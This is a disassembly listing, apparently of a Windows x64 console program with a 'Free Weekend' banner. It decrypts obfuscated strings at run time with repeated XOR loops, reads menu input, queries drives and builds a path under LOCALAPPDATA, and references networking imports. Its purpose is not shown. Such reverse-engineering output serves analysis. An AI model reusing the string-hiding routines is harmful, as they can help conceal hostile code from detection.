movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0xb0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400064b0
cmp r8d, 0x1b
jge 0x140006620
movsxd rax, r8d
lea r9, [rsp + 0xb0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x1400065f0
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x880]
call fcn.14000d5a0
nop
mov r8, qword [rsp + 0x2e8]
mov rdx, qword [rsp + 0x2e0]
sub r8, rdx
lea rcx, [rsp + 0x880]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x888]
call fcn.14000eac0
test rax, rax
jne 0x14000668d
mov rax, qword [rsp + 0x880]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x880]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, [0x140088518]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, ntohl
mov rcx, qword [0x14009f1e0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str._n_n__________________________________________n_______________________________________n_______________________________________n_________________________________________n________________________________________n_n__________________Free_Weekend_____________n_t
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f4c0
mov rcx, rax
lea rdx, [0x1400884e9]
call fcn.14000f4c0
mov edx, 5
mov rcx, qword [0x14009f1e0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movsd xmm0, qword [0x140088ad8]
movsd qword [rsp + 0xf0], xmm0
movzx eax, word [0x140088ae0]
mov word [rsp + 0xf8], ax
cmp byte [0x140088ae1], 0
je 0x140006759
mov byte [rsp + 0xf0], 0xa
xor byte [rsp + 0xf1], 0x36
xor byte [rsp + 0xf2], 0x37
xor byte [rsp + 0xf3], 0x38
xor byte [rsp + 0xf4], 0x39
xor byte [rsp + 0xf5], 0x3a
xor byte [rsp + 0xf6], 0x3b
xor byte [rsp + 0xf7], 0x3c
xor byte [rsp + 0xf8], 0x3d
xor byte [rsp + 0xf9], 0x3e
lea rdx, [rsp + 0xf0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f4c0
mov edx, ntohl
mov rcx, qword [0x14009f1e0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movsd xmm0, qword [str.aSZH]
movsd qword [rsp + 0x260], xmm0
mov eax, dword [0x140088c90]
mov dword [rsp + 0x268], eax
cmp byte [0x140088c93], 0
je 0x14000690c
mov ecx, ebx
cmp r12d, 2
jl 0x1400068c5
movdqa xmm4, xmmword [0x140091590]
movd xmm6, r13d
movd xmm5, edi
movdqa xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
mov eax, dword [str.5555555555555555O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.aSZH]
xorps xmm2, xmm0
movd dword [rsp + 0x260], xmm2
movdqa xmm3, xmmword [0x140091550]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x264]
xorps xmm2, xmm1
movd dword [rsp + 0x264], xmm2
mov ecx, 8
movsxd rax, ecx
lea r8, [rsp + 0x260]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x35
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xc
jl 0x1400068e0
lea rdx, [rsp + 0x260]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f4c0
mov edx, 5
mov rcx, qword [0x14009f1e0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movsd xmm0, qword [0x1400889c0]
movsd qword [rsp + 0x100], xmm0
movzx eax, word [0x1400889c8]
mov word [rsp + 0x108], ax
cmp byte [0x1400889c9], 0
je 0x1400069ab
mov byte [rsp + 0x100], 0xa
xor byte [rsp + 0x101], 0x36
xor byte [rsp + 0x102], 0x37
xor byte [rsp + 0x103], 0x38
xor byte [rsp + 0x104], 0x39
xor byte [rsp + 0x105], 0x3a
xor byte [rsp + 0x106], 0x3b
xor byte [rsp + 0x107], 0x3c
xor byte [rsp + 0x108], 0x3d
xor byte [rsp + 0x109], 0x3e
lea rdx, [rsp + 0x100]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f4c0
mov edx, ntohl
mov rcx, qword [0x14009f1e0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [str.vXWJ_eSMJV__xcD]
movups xmmword [rsp + 0x1f0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140006b80
cmp r12d, 2
jl 0x140006b3d
mov edx, ebx
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x1f0]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x140006a20
jmp 0x140006b80
lea r9, [rsp + 0x1f0]
mov r8d, ebx
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140006b50
lea rdx, [rsp + 0x1f0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f4c0
lea rdx, [rsp + 0x250]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
cmp dword [rsp + 0x250], 1
jne 0x14000cf05
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
lea ecx, [rax - 1]
test eax, ecx
lea rcx, [0x140088518]
jne 0x140009c51
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.q_PQM_WySJV4_._24H]
movups xmmword [rsp + 0x1d0], xmm0
mov eax, dword [0x140088bb0]
mov dword [rsp + 0x1e0], eax
cmp byte [0x140088bb3], 0
je 0x140006da0
mov r8d, ebx
cmp r12d, 2
jl 0x140006d55
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x1d0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140006c30
cmp r8d, 0x14
jge 0x140006da0
movsxd rax, r8d
lea r9, [rsp + 0x1d0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x140006d70
xorps xmm0, xmm0
movups xmmword [rsp + 0x278], xmm0
mov qword [rsp + 0x288], rbx
mov qword [rsp + 0x290], rbx
lea rax, [rsp + 0x1d0]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140006dc6
lea rdx, [rsp + 0x1d0]
lea rcx, [rsp + 0x278]
call fcn.140010150
nop
mov qword [rsp + 0x170], rbx
lea r8, str.LOCALAPPDATA
lea rdx, [rsp + 0x258]
lea rcx, [rsp + 0x170]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
test eax, eax
jne 0x140009c04
mov rdx, qword [rsp + 0x170]
test rdx, rdx
je 0x140009c04
xorps xmm0, xmm0
movups xmmword [rsp + 0x2c0], xmm0
mov qword [rsp + 0x2d0], rbx
mov qword [rsp + 0x2d8], rbx
mov r8, r14
inc r8
cmp byte [rdx + r8], 0
jne 0x140006e42
lea rcx, [rsp + 0x2c0]
call fcn.140010150
nop
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rsp + 0x2d0]
sub rax, rcx
cmp rax, 1
jb 0x14000d15f
lea r9, [rsp + 0x2c0]
cmp qword [rsp + 0x2d8], 0x10
cmovae r9, qword [rsp + 0x2c0]
mov qword [rsp + 0x30], 1
lea rax, [0x140088858]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x110]
call fcn.140010fe0
nop
lea rdx, [rsp + 0x278]
cmp qword [rsp + 0x290], 0x10
cmovae rdx, qword [rsp + 0x278]
mov r8, qword [rsp + 0x288]
lea rcx, [rsp + 0x110]
call fcn.14000ecd0
xorps xmm0, xmm0
movups xmmword [rsp + 0x210], xmm0
mov qword [rsp + 0x220], rbx
mov qword [rsp + 0x228], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x210], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x220], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x128]
cmp rdx, 0x10
jb 0x140006f71
inc rdx
mov rcx, qword [rsp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006f6c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006f6c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074e60
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x128], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x110], 0
lea rax, [rsp + 0x210]
cmp qword [rsp + 0x228], 0x10
cmovae rax, qword [rsp + 0x210]
mov qword [rsp + 0x230], rax
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0x238], rax
call fcn.140075ce4
movaps xmm0, xmmword [rsp + 0x230]
movdqa xmmword [rsp + 0x1d0], xmm0
lea r8, [rsp + 0x1d0]
mov edx, eax
lea rcx, [rsp + 0xb0]
call fcn.140002d00
nop
lea rcx, [rsp + 0xb0]
call fcn.140003f80
movzx esi, al
mov rdx, qword [rsp + 0xc8]
cmp rdx, 8
jb 0x140007048
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007043
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007043
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074e60
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0xc8], 7
mov word [rsp + 0xb0], bx
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x14009f1e0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [rsp + 0x58]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test sil, sil
je 0x140007a7f
movsd xmm0, qword [0x1400889d0]
movsd qword [rsp + 0x58], xmm0
movzx eax, byte [0x1400889d8]
mov byte [rsp + 0x58], 0xa
xor byte [rsp + 0x59], 0x36
xor byte [rsp + 0x5a], 0x37
xor byte [rsp + 0x5b], 0x38
xor byte [rsp + 0x5c], 0x39
xor byte [rsp + 0x5d], 0x3a
xor byte [rsp + 0x5e], 0x3b
xor byte [rsp + 0x5f], 0x3c
xor al, 0x3d
mov byte [rsp + 0x60], al
call fcn.14000f4c0
mov edx, ntohl
mov rcx, qword [0x14009f1e0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x1400889e0]
movups xmmword [rsp + 0xb0], xmm0
movups xmm1, xmmword [0x1400889f0]
movups xmmword [rsp + 0xc0], xmm1
movsd xmm0, qword [0x140088a00]
movsd qword [rsp + 0xd0], xmm0
movzx eax, byte [0x140088a08]
mov byte [rsp + 0xd8], al
mov ecx, ebx
cmp r12d, 2
jl 0x140007270
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0xb0]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x28
jl 0x140007150
cmp ecx, 0x29
jge 0x1400072ac
movsxd rax, ecx
lea r8, [rsp + 0xb0]
add r8, rax
nop
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, cl
sub al, dl
add al, 0x35
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x29
jl 0x140007280
lea rdx, [rsp + 0xb0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f4c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x188], xmm0
mov qword [rsp + 0x198], rbx
mov qword [rsp + 0x1a0], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x188], 0
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x14009f1e0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movsd xmm0, qword [0x1400889c0]
movsd qword [rsp + 0xe0], xmm0
movzx eax, word [0x1400889c8]
mov word [rsp + 0xe8], ax
cmp byte [0x1400889c9], 0
je 0x140007372
mov byte [rsp + 0xe0], 0xa
xor byte [rsp + 0xe1], 0x36
xor byte [rsp + 0xe2], 0x37
xor byte [rsp + 0xe3], 0x38
xor byte [rsp + 0xe4], 0x39
xor byte [rsp + 0xe5], 0x3a
xor byte [rsp + 0xe6], 0x3b
xor byte [rsp + 0xe7], 0x3c
xor byte [rsp + 0xe8], 0x3d
xor byte [rsp + 0xe9], 0x3e
lea rdx, [rsp + 0xe0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f4c0
mov edx, ntohl
mov rcx, qword [0x14009f1e0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [str.vXWJ_eSMJV__xcD]
movups xmmword [rsp + 0x1f0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x140007540
cmp r12d, 2
jl 0x140007500
mov edx, ebx
movd xmm4, r13d
movd xmm5, edi
movdqa xmm0, xmmword [str.5555555555555555O]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x1f0]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x140091530]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x140091530]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x140091590]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140091590]
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm4
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140091560]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140091570]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x40]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400073e3
jmp 0x140007540
lea r9, [rsp + 0x1f0]
mov r8d, ebx
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140007510
lea rdx, [rsp + 0x1f0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f4c0
lea rdx, [rsp + 0x188]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14000f7f0
lea rcx, [rsp + 0x188]
cmp qword [rsp + 0x1a0], 0x10
setae r15b
mov byte [rsp + 0x80], r15b
mov rsi, qword [rsp + 0x188]
cmovae rcx, rsi
mov r14, qword [rsp + 0x198]
cmp r14, 3
jne 0x1400075b6
mov r8, r14
lea rdx, [0x14008885c]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140007636
lea rcx, [rsp + 0x188]
test r15b, r15b
cmovne rcx, rsi
cmp r14, 3
jne 0x1400075de
mov r8, r14
lea rdx, [0x140088860]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140007636
lea rcx, [rsp + 0x188]
test r15b, r15b
cmovne rcx, rsi
cmp r14, 1
jne 0x140007606
mov r8, r14
lea rdx, [0x140088864]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140007636
lea rcx, [rsp + 0x188]
test r15b, r15b
cmovne rcx, rsi
cmp r14, 1
jne 0x140007a2f
mov r8, r14
lea rdx, [0x140088868]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140007a2f
lea rax, [rsp + 0x210]
cmp qword [rsp + 0x228], 0x10
cmovae rax, qword [rsp + 0x210]
mov qword [rsp + 0x230], rax
mov rax, qword [rsp + 0x220]
mov qword [rsp + 0x238], rax
call fcn.140075ce4
movaps xmm0, xmmword [rsp + 0x230]
movdqa xmmword [rsp + 0x1d0], xmm0
lea r8, [rsp + 0x1d0]
mov edx, eax
lea rcx, [rsp + 0xb0]
call fcn.140002d00
nop
lea rcx, [rsp + 0xb0]
cmp qword [rsp + 0xc8], 8
cmovae rcx, qword [rsp + 0xb0]
call fcn.140076254
movzx ecx, al
mov qword [rsp + 0x1a8], rcx
shr rax, 0x20
mov dword [rsp + 0x2a0], eax
lea rcx, [0x14009e0b8]
mov qword [rsp + 0x2a8], rcx
movaps xmm0, xmmword [rsp + 0x2a0]
movdqa xmmword [rsp + 0x330], xmm0
cmp eax, 0x91
jne 0x14000770f
lea r8, [rsp + 0x1a8]
lea rdx, [rsp + 0x330]
lea rcx, [rsp + 0xb0]
call fcn.140004090
cmp dword [rsp + 0x330], 0
jne 0x14000d165
mov rdx, qword [rsp + 0xc8]
cmp rdx, 8
jb 0x140007768
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007763
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007763
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140074e60
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0xc8], 7
mov word [rsp + 0xb0], bx
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, qword [0x14009f1e0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movsd xmm0, qword [0x1400889d0]
movzx eax, byte [0x1400889d8]
movsd qword [rsp + 0xa0], xmm0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rsp + 0xa0], 0xa
xor byte [rsp + 0xa1], 0x36
xor byte [rsp + 0xa2], 0x37
